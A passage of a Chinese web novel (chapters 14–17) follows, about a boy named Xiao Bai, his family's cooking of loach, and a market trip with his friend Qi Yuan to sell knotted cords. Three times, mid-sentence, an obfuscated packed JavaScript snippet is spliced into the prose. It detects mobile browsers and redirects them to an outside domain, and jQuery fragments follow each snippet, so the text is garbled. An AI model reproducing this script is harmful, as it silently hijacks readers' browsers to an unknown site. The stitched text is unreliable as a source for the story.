小哥儿那张嘴特别能叭叭,齐原才刚刚往他身边一站,萧白已经飞快跟那些老人家说完一大堆,好半天他终于反应过来小哥儿说了些什么,就见着那些爷爷奶奶已经非常慈爱朝他看过来。 “真是个俊俏孩子,不仅长得好还这么听话懂事,不管张春梅那人怎么瞎叨叨,反正白哥儿说的话我老婆子肯定相信!” “这孩子叫阿原是吧,才是刚刚十岁的小儿郎呢,我看他们齐家是真作孽哦,听说这孩子书读得还特别好……” “你爹那人我知道,之前听说他还偷人家书院同窗的银钱,虽然不知道是真是假,现在齐老大当官有权利了,那人肯定说什么都是咬碎牙齿往肚子里吞。” “好孩子跟着阿娘好好过,以后日子肯定都会好起来的,别总是一个人往山上跑,你年纪还小出个什么问题受罪的是自己……” 老话都说拿人手短吃人嘴软,这些爷爷奶奶吃着萧白分给他们的果子,嘴上自然是要帮着齐原说话的,不管他们这话从不从心,最起码萧白听着心里那叫一个舒坦。 而且根据萧白跟这些爷爷奶奶一起唠嗑八卦的经验,不要两三天齐家干得那些糟心事就能从村头传到村尾,而且还是绝对不会把他供出去的那种。 就算供出去萧白肯定也是不害怕齐家那些人的,先不说有里正大伯爷顶在前头,光他家五大三粗的姐夫往前一站,就没谁敢欺负到他萧家小哥儿头上。 于是小哥儿拉着齐原坐到自己身边,伸手抓上一把甜滋滋的果子吃起来,一边见缝插针说上几句煽风点火的话,直把齐原说得更加哭笑不得。 等到大家都快吃午食的时间点,上林村的唠嗑、八卦小分队才算慢慢散开,萧白往前伸出半个脑袋热情邀请身边的少年郎到自己家吃饭。 不过齐原还是开口拒绝了:“下午我还要去镇上一趟,把昨天采的草药卖出去,顺便给阿娘拿些更好的药材。” 光山上那些草药对于谢盈娘那样虚弱的身体肯定还是不够用的,所以齐原每隔一段时间都会借着去药房卖草药,顺便拿些大夫开的重要药材。 “好吧、好吧,其实下次你需要什么药材可以让我阿父帮忙带,反正估摸很长一段时间阿父都是要去镇上的。”为什么要说很长一段时间呢,这个就要看萧青山能在大酒楼里干账房干多久了。 听罢萧白刚刚那番话,齐原到底还是忍不住复杂往小哥儿身上扫过一眼,见对方满眼都是真诚模样,甚至认为这种提议十分可行,他瞬间便明白过来萧白在某些方面到底有多迟钝。 不过心里虽然这么想着,齐原还是乖乖点点头:“好,下次如果要给阿娘拿药,我再来叨扰青山伯父。” 等萧白一路溜溜达达回到自家院子,果然阿奶和阿娘已经在厨房里忙活起来,且案板上面还放了一盆已经被阿公处理好的泥鳅。 见到白哥儿终于从外面溜达回来,萧老头立刻伸手指了指那些泥鳅,随即露出一脸为难的神色:“白哥儿快过来,跟阿公说说这些鳅鱼要怎么做?” 这个时节的泥鳅都比较大个头,萧老头在将泥鳅处理干净后又全部一分两段,这会儿全部都堆在盆里用一些去腥食材腌制着呢。 大盛朝的百姓们才刚刚能吃上饱饭没多久,所以无论城镇还是村子里,在吃食上面的研究都不多,光食材腌制去腥的法子还是萧白六七岁那会儿瞎捯饬出来的呢,后来一大家子觉得白哥儿这法子不错,可不就一直用到了现在。 干煸爆炒泥鳅虽然好吃,但过程确实稍微麻烦了些,需要先干锅炒去泥鳅上的水分,然后油锅小火慢煎,最后再跟其他备用的食材一起爆炒。 萧白干脆凑到自家阿公面前,爷孙俩脑袋挨着脑袋好一顿咕咕哝哝,等纪老太跟棠悦将饭都准备差不多了,萧老头这个超级大厨才算是正式登场。 还别说,这边纪老太和棠悦才刚把做好的饭端到堂屋桌子上没多大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802658|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,厨房那边已经开始传来一阵特殊的肉香味儿,再过好一会儿,各种备用的小菜下过一顿爆炒,那味儿就更加诱人起来。 连村上其他人从这边路过,纠结再三下都要过来问问萧家今天中午做了些什么,一听棠悦说做的是鳅鱼,那人立刻露出满满怀疑的神色:“鳅鱼长得那么丑,平时又都是待在泥土里,这……真的能吃吗?” “那还不是我家白哥儿贪嘴好吃,我家老爷子厨艺顶尖不说,还偏偏乐意宠着、惯着他家乖孙,不然谁也不敢拿了那么多油去煎鳅鱼,就说用多多的猪油去煎,难道还有什么东西不好吃!”棠悦嘴上虽然这么说着,眼中却同样满满都是对自家小哥儿的宠溺。 那人一听要用多多的猪油去煎,立刻明白萧家怎么能将鳅鱼做那么香了,不过再怎么喷香诱人,他肯定也不可能真捉了鳅鱼拿回家用油煎,最后也只能拒绝棠悦表示客气的留饭,然后满脸遗憾和垂涎地从萧家院子里离开。 “开饭了、开饭了,看我们爷俩最后这道——干煸爆炒鳅鱼段,你们在堂屋里闻着味儿是不是就要流口水了!”萧老头满脸得意将自己刚刚做好的一大盘爆炒鳅鱼放到桌子上,随意忙示意自家婆娘和儿媳妇赶紧尝一尝。 纪老太没有顾得上赶紧尝尝这道新菜,在往自家丈夫身后看了一眼后,有些纳闷地问着:“怎么不见白哥儿?” “白哥儿去给山雁他们送些鳅鱼尝尝,顺便还要再去给齐原那孩子送点,毕竟鳅鱼也是他们仨孩子一起抓来的。”萧老头解释完后,立刻拿起筷子先夹了块鳅鱼塞进嘴巴里,那干香中带着些麻辣的滋味一入口,老头子立刻忍不住陶醉地摇摇头,“这要是老头子我还年轻,非得跟白哥儿一起合伙开家酒楼,光是这爆炒鳅鱼的手艺,还不得把客人们馋得天天往酒楼跑。” “我这都快听你吹大半辈子了,要不是咱们白哥儿会吃,你那点儿手艺怕事人家大酒楼还看不上呢!”老两口也是吵吵闹闹大半辈子人了,嘴上虽然这么说着,在尝过爆炒鳅鱼的味道后,还是忍不住对着老头子稍稍称赞几句。 配着今天上午摊的小软饼,棠悦一口饼子一□□炒鳅鱼,明明不是那么贪图口腹之欲的人,当爆炒鳅鱼的滋味在嘴巴里绽开的那一刻,她一双眼睛立刻变得亮晶晶起来:“真不错,阿父的手艺是越来越好了。” 萧家这边已经开始用起午食,后村那头谢盈娘将儿子早上摘来的野菜清洗干净,再混合上一些杂粮面,配上家里还剩的最后两颗鸡蛋,正正好可以做够吃两顿的野菜花卷。 等萧白在门外探头探脑往里看时,谢盈娘刚把稍微发起来的花卷放进锅里,随即她看了眼有些空了的灶台后头,便让儿子去院中抱些柴火过来。 齐原轻声应下,人不过刚刚走到厨房门口,抬眼就看到萧白站在院门口往里东张西望,尤其那双滴溜圆的大眼睛眨呀眨,看上去完全像是只稍微有一些些狡黠更多却是可爱的小狐狸。 15.第十五章 “阿原快来,看看我给你送了什么好东西!”见少年站在厨房门口略显惊愕朝自己这边看过来,萧白连忙冲对方得瑟招招手。 在齐原快速抬脚朝这边走过来后,小哥儿立刻将竹篮上盖着的单薄棉布掀开,露出里头好大一碗稍显红艳艳的干煸泥鳅:“看,这是我跟阿公一起做的爆炒干煸鳅鱼,刚刚给大姐他们也送了一份,这份是给你和盈娘婶婶的。” 不管小哥儿还是小哥儿的家人,通通都是非常热情且细心的性格,那竹篮里不仅只有看上去就格外诱人的干煸鳅鱼,旁边还放了好几张杂面饼子,这样整整齐齐送过来,压根不用谢盈娘再做什么发面野菜花卷。 见儿子好一会儿没回来,谢盈娘担心出个什么事情,索性从厨房走出来看看情况,不过她出来的时候便只来得及看到一抹飞快跑远的身影,见状她只能茫然望向手里提着竹篮往堂屋走的儿子:“刚刚是谁过来了,怎么还送了东西?” “是白哥儿,昨天白哥儿跟小宝在河里抓了不少鳅鱼,今天齐阿公就给做了出来。”齐原将手中掀开棉布的竹篮递给自家阿娘看,“野菜花卷先放在锅里蒸着吧,白哥儿说这道菜要趁热才更好吃。” 不多大会儿齐原已经将饭菜摆到堂屋的桌子上,在阿娘洗了手过来后,他顺势将手旁的筷子递过去。 一□□炒干煸鳅鱼吃进嘴里,素来饮食清淡的谢盈娘立刻露出满满惊艳的神色:“你萧阿公这手艺是真不错,怕是镇上酒楼里的大师傅都比不了。” 以前谢盈娘跟齐老大感情最好那会儿,对方也是背着齐家那些人带她去镇上酒楼吃过东西的,虽然距离那时候已经过去很久、很久,但那次尝到的滋味谢盈娘却时不时就能回想起来,或许一次次回想并不是因为大酒楼里饭菜的滋味有多好,而是因为那个陪她吃饭的人。 不过眼下显然已经没有半点去反复回想的意义,几口干煸鳅鱼下肚,谢盈娘甚至感觉整个人都精神了不少,不过望着面前沉默寡言只闷头吃东西的儿子,她纠结好一会儿还是开口试探着询问:“阿原,你觉得白哥儿……” “阿娘快吃,我去厨房再添点柴火。”心里明明知道阿娘想要问些什么,齐原却站起来就往厨房那边走,立时谢盈娘便更加深刻明白儿子的心思,只是受她这个阿娘的拖累,她家阿原素来都把事情想得过于深远。 闷头又咬上一小口杂粮饼,谢盈娘微微垂下的眼眸里不自觉带上点点盈满泪水的歉疚,好一会儿后听见外面传来的脚步声,她连忙抬手将泪水擦干,这次她便没有再跟儿子提起萧家哥儿的事情。 萧白向来喜欢各种瞎折腾,等一场大雨过后,周边几个村子都要开始举办一年一度的乞仓节,趁着大人们忙活乞仓节没空搭理他的时候,他更是天天带着杜小宝往外跑。 结果前个儿舅甥俩爬树刮坏了一身衣服,昨个儿上山摘野菜弄了一身脏兮兮的泥巴,今天在家糊弄野菜饺耳又差点没把面盆掀翻,于是舅甥俩在被赶出厨房后都齐齐挨了顿打。 棠悦真要教训起儿子时,一家人齐上阵都是拦不住的,小心翼翼摸了把自己有些发烫的屁股,萧白赶忙哭唧唧求饶:“阿娘、阿娘,我再也不敢了,你就饶了我吧~” 小哥儿顶着双满是泪水的眼眸求饶,那模样简直要多可怜就有多可怜,毫无疑问棠悦立时就心软了,但她面上却没有表露出来半分,愣是抬起手掌又在儿子屁股上重重拍两下才算结束。 等小哥儿这么大了还被阿娘打屁股,因此羞耻躲进房间里后,棠悦才算深深叹了口气:“这孩子,真是不知道要说他什么好。” 这边棠悦还在因为动手打儿子生出那么一点点内疚的情绪,隔壁不远处就传来杜小宝因为挨打而鬼哭狼嚎的声音。 听到这声音萧白也顾不上疼到火辣辣的屁股,三两下就蹦跶着凑到窗户旁边,试图伸长了耳朵仔细去听隔着围墙那边杜小宝的惨样,半点都没有因为自己带着杜小宝做坏事而产生内疚的情绪。 遥遥瞥了眼屋子里又恢复活蹦乱跳状态的儿子,棠悦也只能无奈摇摇头,或许她真该找个人管管这舅甥俩了,尤其她家这个天天净知道调皮捣蛋的臭小子。 因为要迎接马上到来的乞仓节,村孰那边吴夫子也给学生们都放了两天假期,连还在自家不停忙活的齐原也被他摆摆手赶回家。 前段时间刚刚去镇上给阿娘买过药,看情况应该是能吃上有一段时间,所以这几天齐原自然不用再去山上采药,一时间他整个人便空闲下来。 阿娘这段时间的身子骨看起来好了不少,今天应该又是去杜家找山雁姐一起打乞仓节要用到的祈福络子,齐原静静待在房间做了会儿功课,在不知道想起什么事情后,他默默起身从床角处拿出了个不大不小的筐子。 齐原屋子里的光线并不是太好,望着满满当当的筐子他稍微沉思两秒,转身便坐到堂屋门口的台阶上,在从筐子里拿出几样前段时间借来的工具后,少年郎便闷头忙活起来。 上一秒还在认认真真忙活着手头上的事情,下一刻齐原脑海中却忍不住想起白哥儿,明明说过有时间会来找自己玩的,但白哥儿这几天却一次没有找过来。 因为不受控制稍稍分了神,手中锐利的工具立刻在指腹上划过一道不长不短的伤口,下意识齐原先把手中的东西放到旁边,唯恐一个不小心沾到自己手上的血液,随即才去厨房往自己手上涂了些草木灰止血。 “阿原,你在家吗?”就在齐原盯着自己受伤的手发呆时,外面突然响起一阵熟悉的嗓音。 小哥儿因为体质特征是不会有变声期的,一开口嗓音中便不自觉带了些清亮、绵软,仿佛可以直直唤进别人的心坎里。 齐原不过刚刚从厨房里走出来,萧白已经非常热络地走到齐家院中:“阿原你在干嘛呢,今天还有其他事情要忙吗,是不是要在家里温书啊?” 一句话不过刚刚说完,萧白立刻注意到少年手上涂着的草木灰:“阿原,你手受伤了?” “没什么大问题,刚刚不小心被东西划了一下。”齐原下意识稍稍遮住自己手上的那只手,清润的眉眼中带上些许疑问,“我今天在家也没什么事,刚刚白哥儿想说什么?” “哎呀,还不是大姐最近跟盈娘婶婶学打络子学得有些上头,家里现在积攒不少没那么好看的络子,索性我又去木匠大叔那里要了些还算漂亮的木头珠子,稍微装饰一下竟然还不错,本来是想问你要不要去镇上卖络子的,不过你现在手受伤了还能出门吗?”刚刚齐原躲闪得实在有些快,萧白都没能看清对方到底伤得严不严重。 “没关系,我们要怎么去镇上,你东西都已经准备好了吗?”齐原并不是太在意手上那点儿伤,甚至趁小哥儿不注意时,他先把自己放在门槛上的竹筐悄悄收拾进屋里,随即才跟着萧白一起走出自家小院。 乞仓节可是整个上林镇的大日子,故而要留在家里帮忙的萧青山也跟酒楼掌柜请了两天假期,这会儿萧白他们自然是要坐大伯的牛车一起去镇上。 等萧白他们收拾好东西放进牛车里,萧兴德赶紧叮嘱起来:“快坐好、快坐好,我们这就要出发了。” 听着自家大伯有些着急的大嗓门,刚刚坐进牛车里的萧白立刻凑到齐原身边小小声道:“也就是大伯今天一觉睡迟了,再加上大家今天都忙着乞仓节的事,压根没发现平时早早出门的他还躺在家里呼呼大睡,不然咱们还蹭不到牛车呢~” “白哥儿,不许悄悄说大伯坏话。”被几个小孩讨论自己今天睡过头的事情,要脸面的萧兴德立刻严肃着嗓门故意恐吓,“小心我把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817475|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们几个通通扔在半路上。” 萧兴德是在镇上的县衙里做捕快,最近一段时间镇上很太平,事情跟着自然也就比较少,他整个人多少有些放松过了头,才致使今天起床起得那么晚, “嘿嘿,我们可没有偷偷说大伯坏话,大伯是最最最好的人了,今天我们卖了络子就请大伯买肉包子吃。”在哄自家大人开心上面萧白妥妥一哄一个准,不过几句话的功夫就把萧兴德哄得喜笑颜开起来。 有一段时间没去镇上,杜小宝整个人都显得格外兴奋,任由小舅舅跟齐原哥哥脑袋挨着脑袋说悄悄话,他便只顾着伸长脑袋东张西望起来,简直看哪儿都觉得新奇。 因为明天就是正式的乞仓节,今天的上林镇自然格外热闹,好在萧白他们来得不算早但也不算特别迟,凭着他的眼疾手快到底还是在两个小摊之间抢到一点点摆摊的位置。 这样在街边摆摊是不需要向县衙交钱的,萧白不过刚刚将位置占好,旁边的齐原已经主动将背篓里盛放着的络子一个个在铺了块布的“摊位”上摆放整齐。 完全不怕生的杜小宝在自家小舅舅的指导下,更是扯着嗓子喊起来:“卖络子,两文钱一个的络子,只要两文钱,你买不了吃亏买不了上当,却能买到个超好看的络子……” 小家伙儿扯着嗓子嚎的样子并不讨人厌,反而因为杜小宝长得多少有些圆滚滚,一时间还真吸引了不少客人过来看络子。 眼见着一个年轻姑娘走到跟前,萧白立刻伸手递过去个还算漂亮的络子:“姐姐,这个上面是喜枣结,最中间的木球上刻着的也是红枣和其他喜果子,祈祷姐姐和夫君早日喜得贵子哦~” 小哥儿看过来的目光格外真诚,那姑娘不过方方伸手将络子接过去就闹了个大红脸:“你怎么知道我已经成亲了,明明我今天梳了寻常未出阁姑娘的发式?” “嘿嘿,那边有个哥哥一直不远不近盯着姐姐看,眼里温柔的神色都快滴出水来了,而且哥哥和姐姐腰上挂着成对的荷包,肯定是刚刚成亲没多久。”小哥儿稍稍挑了下眉梢凑到那姑娘身边,“哥哥肯定做什么事情惹得姐姐不开心了吧,合该让哥哥给姐姐花钱才是。” “对对对,秋娘喜欢这个络子吗,我给你买。”说着从后面赶过来的男人就手忙脚乱掏钱递给齐原,然后又把萧白递来的络子小心翼翼系在妻子腰间。 被新婚丈夫温柔小意哄着,那姑娘自然很快就不生气了,等和和睦睦的小两口刚刚起身离开,凭借一张巧嘴的萧白已经开始招待起后头的客人。 短短不过一个时辰从家里带来的络子就全部卖空,齐原默不作声将卖络子赚来的钱递到小哥儿面前:“咱们上午一共卖出去二十三条络子,其中有几位客人多打赏了几文钱,现在这里一共是六十四文钱。” 跟萧白上辈子钱不是钱的时代相比,大盛朝可谓是两文钱就能在街边买个大肉包子的百废待兴阶段,两个十来岁的少年跟一个五六岁的小娃娃单单一个上午就能赚到六十多文钱,已经是笔不小的财富了。 拍拍鼓鼓囊囊的荷包,萧白骄傲抬起下巴:“说吧,你们俩想吃什么,咱们今天有的是钱。” “我我我,小舅舅我想吃荷叶肉饼~”嘴里说着荷叶肉饼,站在原地不停蹦跶着的杜小宝口水都快要止不住流出来了。 萧白索性在小家伙儿脑门上轻轻拍了一下:“行行行,荷叶肉饼就荷叶肉饼,待会儿还能给大伯再带两张,阿原你呢,有没有什么特别想吃的?” 微微垂头对上小哥儿看过来的视线,齐原下意识摇了摇头,大概因为从小到大没有任何选择的权利,致使现在他于吃食上并没有什么特殊偏好。 如果非要说喜欢吃什么东西,齐原打心底觉得他其实更喜欢……白哥儿送来的那些吃食。 16.第十六章 “别不好意思嘛,好兄弟就要有福同享。”萧白直接上手亲昵揽住少年的肩膀,因为两人身高的缘故,他甚至还稍稍抬起脚后跟,不过这下小哥儿望着齐原的目光中更带上了些惊愕:“不是吧,阿原你好像又长高了些!” 两人刚刚认识那会儿,齐原的个头虽然是比萧白稍微猛一些,但不至于是有什么身高差的程度,但现在……萧白严肃着张脸往后退了一点点,然后抬手在两人头顶处稍微比划起来,好一会儿后他点点头确定下了个结论:“绝对的,阿原你又长高了。” 说着小哥儿就露出一副苦大仇深的表情,毕竟上辈子他就是个一米七几的小矮个,这辈子从小吃好、喝好甚至玩得也好,原本想着能比前世稍微长得更高一些些,但跟面前的少年郎相比较,自己是不是长得有些太慢了,还是说他这辈子就这么水灵灵得……不长了!! 一时间萧白整个人都开始绝望起来,毕竟过年那会儿量身高时,堂兄他们都长高了不少,只有他长了可怜的那么一点点,现在连杜小宝都天天被大人们说“这孩子简直一天一个样”,所以老天爷为什么不能让他也长点个头呢! 眼睁睁看着面前小哥儿从刚才的满脸兴奋,到现在浑身都布满“绝望”的气息,齐原一时间忍不住有些慌乱起来:“白哥儿放心,你以后肯定可以长高的,再不然我去翻翻看医术,一定能找到让你长高的法子。” “真的吗、真的吗——”并没有注意到齐原眼中隐隐带上的慌乱神色,在听到自己很有可能会继续长高后,小哥儿忍不住满是期待地眨眨眼。 前世萧白就听说小孩长不高可以吃什么、什么东西,不过那时候他只是个可怜巴巴的小孤儿,除了每天在孤儿院拼尽全力多抢到块馒头外便再做不了其他方面的努力,但眼下他也是有长辈疼爱的小孩了,而且不知道为什么,齐原说的话他总是愿意相信的。 “肯定可以的,到时候我再去找纪大夫问问有没有什么可以日常吃的补品。”眼见着小哥儿似乎没有刚才那么难受了,齐原才总算稍稍松了口气。 “好吧,那就辛苦阿原帮我问一下哦~”萧白眨了眨眼随即又连忙补充一句,“千万不要是那种尝起来苦兮兮的东西,我肯定是吃不下去的。” “好,我知道了。”盯着小哥儿微微弯起的眉眼,齐原眼中更是闪过一丝浅浅的欢愉。 于是两大一小扭头就去了专门卖荷叶肉饼的小摊,挺大一个荷叶肉饼看起来就非常诱人,三文钱一份是比寻常肉包子还贵上些,但用料也比肉包子更丰富扎实。 今天赚了钱的小哥儿索性大手一挥,冲着小摊老板眉眼弯弯道:“老板,我们一共要十个荷叶肉饼,能不能稍微便宜点儿?” “便宜不了啦,小哥也知道我们的饼子用料有多足,不过你们买的多,我可以额外饶你们两个一文钱一个的夹肉烧饼。”跟用料扎实的荷叶肉饼相比,夹肉烧饼就只有最里面抹了薄薄一层肉馅,所以价格上卖得自然也就更便宜些。 萧白略一思索后点点头:“那也行,老板给我们多放点肉啊!” 于是两刻钟后,两大一小提着好些荷叶肉饼往镇上的县衙那边走,不过只给自家大伯送吃食,却没有大伯同僚的份也不太好,索性萧白找到大伯的牛车,将他们买来的荷叶肉饼都挨个放好,才进去给大伯送了两份荷叶肉饼和那两张老板饶的夹肉烧饼。 “马上快晌午了,大伯把这两张荷叶肉饼吃掉,另外两份夹肉烧饼可以送给同僚,我跟阿原、小宝就继续去街上玩啦!”萧白是一个人进县衙给大伯送吃食的,将东西往大伯临时休息的地方一放,他转头就开开心心往外跑,萧兴德是想喊都喊不住。 吃着宝贝侄子送来的肉饼,萧兴德顺便又把另外两份烧饼分给今天跟自己一起上值的同僚。 咬上一口新鲜出炉的夹肉烧饼,胡捕快忍不住舒坦地叹息一声,转而回想起刚刚跑出去那小哥儿俊俏的模样:“兴德哥,你家那小哥儿看起来得有十来岁了吧,要不让我大侄子改天去你家提亲,你家小哥儿看起来就是个好性儿的。” 咬上一口肉馅满满的荷叶肉饼,转头萧兴德毫不犹豫瞪了同僚一眼:“我家小哥儿确确实实是个好性子的,不过我堂弟、弟媳妇一辈子只得这么个乖孩子,你家大侄子是想上我家做赘婿?” “这不行、这不行,现在家家户户又不缺粮食吃,谁还能违背祖宗去给人家当什么上门赘婿。”一听说要去萧家做赘婿,胡捕快赶忙摇摇头,随即张嘴还不忘再咬上一口热腾腾、酥脆脆的烧饼。 “去你的,就算你大侄子愿意给我们家小哥儿当赘婿,怕是我堂弟他们还看不上呢!”白哥儿可是全家的心头宠,哪儿还能任由别人挑挑拣拣,萧兴德不轻不重抬脚踹了胡捕快一脚,在旁边看热闹的赵捕快立时忍不住哈哈大笑起来。 外头萧白他们坐在牛车里舒舒服服吃完一个超大号的荷叶肉饼,当即就把肚子填得饱饱的,好不容易来一趟镇上,转头吃饱喝足的几人就去街上转悠起来。 杜小宝完全就是看这个也想要,看那个也想要,只可惜最后他除了得到一份甜滋滋的蜜饯果子外,就再不能买其他东西了,不然回家阿娘肯定又是要揍人的。 萧白转头冲着身边的少年郎非常大气晃晃手上的钱袋子:“快说想要什么,哥哥给你买~” 经过这段时间的相处,齐原已经足够了解小哥儿的大方性情,见对方眼中满满都是认真的神色,于是他在不远处的小摊上随意挑选了个大号蒲扇:“就这个吧,正好阿娘屋子里的蒲扇坏掉了。” 眼下虽然已经入秋有段时间,但天气时不时还是热得人心慌气短,这把蒲扇买回去刚好能够派上用场,且价格上还就只要两文钱。 这边萧白刚刚把齐原挑中的蒲扇买下来,随即就听到不远处好像有人在喊自己的名字,顺着声音他抬眼看过去,下一刻就看到个少年正冲自己这边用力招手。 “二牛!”在抬眼看到冲自己用力招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827967|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手的少年后,萧白当即露出一抹愉快的笑容,等对方一路小跑到自己身前,他抬手便拍了拍少年结实的肩膀,“二牛,你怎么在这里……哦,对了,你跟荷花婶婶一起来镇上读书了。” “对啊、对啊,都好久没见到阿白哥了。”被唤作二牛的少年在看到萧白身边还站着齐原跟杜小宝后,立刻带着几分羞赧地摸摸脑袋,“阿白哥,都说了要叫我长宁,不要再喊我二牛了。” “行,没问题。”萧白不过跟少年寒暄两句,扭头就跟齐原简单介绍起来,“阿原,这是住我们隔壁村的季长宁,他跟你是差不多的年纪,之前邻村经常有人请阿公去帮忙操持大席,我又时不时闹着跟过去玩,这不,一来二去就跟长宁熟识了。” “长宁哥哥好~”杜小宝也是认识季长宁的,抬头就很热络跟对方打了声招呼,季长宁更是乐呵呵将自己手上刚买来的糖果子递过去,“小宝看起来长高了不少,这个给你吃。” 几句话的功夫,齐原跟季长宁就达成了初次相识,不过始终站在萧白一侧的齐原默默看了两眼距离白哥儿很近的季长宁,一双素来没太多情绪的丹凤眼中不自觉闪过些许晦暗不明的神色。 只是或许连齐原自己都没察觉到那点儿异样的情绪,只悄无声息伸手将萧白手中提着的东西拿到自己手上。 “再过段时间夫子家里有喜事,到时候说是会给我们放几天假期,等我跟阿娘回了老家就去找阿白哥玩。”季长宁今天是陪朋友一起出来买纸墨的,因为临时看到萧白他才兴冲冲跑过来,这会儿眼见朋友已经朝自己招手示意,他才只能略带不舍跟萧白挥手告别。 这边季长宁不过刚刚走开,萧白便发现自己手上的东西已经不知不觉被齐原拿走,他当即扭过头仔细去看齐原上午不小心划伤的那只手:“怎么都把东西拿过去了,你的手不是受伤了吗,怎么这么不知道心疼自己?” 望见小哥儿眼中满满都是担忧的神色,齐原心中不可自抑升起些许愉悦的情绪,不知道为什么某一瞬间他像是失去对自己身体的控制,抬眸略显委屈地答上一句:“刚刚你在跟季长宁聊天,拿着东西肯定不太方便,我手上的伤没什么关系的。” “怎么能没关系呢,我们也就打个招呼的而已。”自己身上偶尔不小心碰到一下都是要疼到满冒泪花的,就算齐原是个不怕疼的体质,这会儿用受伤的手提着这么重的东西肯定也是会疼的。 一句话都还没念叨完,萧白已经将齐原拉着往医馆的方向走,甚至还没忘把少年手上的东西全部拿过来:“早上那会儿我就觉得单单用草木灰止血不太行,果然还是要上点儿药才可以。” 杜小宝眨巴着双滴溜圆的大眼睛跟在小舅舅和齐原哥哥身后,不知道为什么,刚刚齐原哥哥委屈巴巴跟小舅舅说话的那一幕竟然有些眼熟,想了好半天的小家伙儿在快到医馆的时候总算反应过来: 齐原哥哥刚才跟小舅舅说话的时候,跟阿父在阿娘面前撒娇的样子真像啊! 17.第十七章 明明齐原要比小哥儿还高上一些,但被拉着往医馆走的路上,他简直要多听话就有多听话,尤其在萧白挤到人群中跟医馆学徒买伤药时,他更是跟在村孰上课时那般端端正正坐在椅子里。 原本萧白还觉得少年郎太不知道珍惜自己的身体,等拿了药转身回来看到齐原端端正正坐在椅子里的乖巧模样,他总算比较满意伸手过去轻轻拍了下少年的头顶:“来吧,刚刚那个小大夫分了我们一点上药,说是涂在伤口外圈红肿的地方会好得更快些。” 齐原手上受伤的地方在左手无名指的指腹处,因为此前提着的东西确实稍微有些沉重,这会儿将表层用来止血的草木灰擦干净后,立刻露出红彤彤甚至隐隐有些肿起来的伤口。 小哥儿向来是个怕疼的性子,即便看到别人的伤口都要忍不住微微发抖,所以在察觉到萧白迟钝动作的瞬间,齐原立刻将小哥儿掌心的药接过去,然后按照医馆学徒叮嘱的那样仔仔细细涂抹在伤口外圈红肿的地方。 快速将药膏涂好后,齐原眨了眨修长浓黑的睫羽,微微仰头没太多表情看向面前盯着自己的小哥儿:“好了。” 因着萧白觉得齐原手上伤口还挺严重,于是两大一小在买好东西后,干脆回了牛车那边等萧兴德下值,反正明天就是乞仓节,萧兴德距离下值也没有多长时间了。 在一路往回走的路上,杜小宝津津有味吃着季长宁给他的糖果子,齐原视线从那红彤彤的糖果子上一扫而过,转而侧眸状似不经意问道:“白哥儿看起来跟季长宁关系还不错?” 齐原问得很是不经意,萧白自然也就没有当做一回事,只点点头回道:“确实还不错,二牛年纪再小一些的时候跟小宝一样黏人,倒是长大一些后看着比之前成熟稳重不少。” 齐原只是微微点了点头并没有继续问下去,然而在萧白看不到的地方,他不自觉用大拇指摩挲着刚刚抹了药的伤口,细细密密的疼痛传达到脑海的瞬间,少年郎已然恢复到往日沉默寡言的模样。 萧白他们回到牛车停放的位置没多久,果然萧兴德便乐呵呵从县衙下值,见到侄子他们竟然都老老实实坐在牛车里,他还惊讶了好一会儿:“不是说要多去逛逛吗,还以为要我等你们回来。” “嗨呀,又不是第一次来镇上了,我们这不是不想给大伯添麻烦嘛~”对着自家长辈小哥儿咧嘴嘿嘿一样,那模样真是要多可人疼就有多可人疼,旁边杜小宝听着更是连连点头应和,“嗯嗯,小舅舅说得对!” “这孩子,是不是你家小舅舅就没说错话的时候?”见着圆溜溜的杜小宝跟个应声虫似的,萧兴德伸手过去就不轻不重拍了两下小屁孩的脑袋瓜,“得嘞,既然你们不打算在镇上玩了,咱们就打道回家!” 萧白平日里就是个精力满满的体质,甚至从小到大几乎就没午休过,但他独独在坐牛车的时候很容易提不起一点点力气。 来时小哥儿只顾着跟齐原交头接耳地闲聊,都没有注意到一路上牛车晃晃悠悠的劲儿,这会儿齐原大概有些累了,便一直保持着沉默,萧白随着牛车因为路不够平整而来回晃悠,脑袋一歪便忍不住靠在身边少年郎清瘦的肩膀处昏昏欲睡。 察觉到肩头小哥儿突然压过来的重量,齐原微微侧头刚好看到萧白莹润的耳根处长着颗小小的红痣,如同朱砂般的浓郁颜色将小哥儿耳根那片皮肤衬得更加白皙起来,一时间齐原竟然看得有些微微愣神。 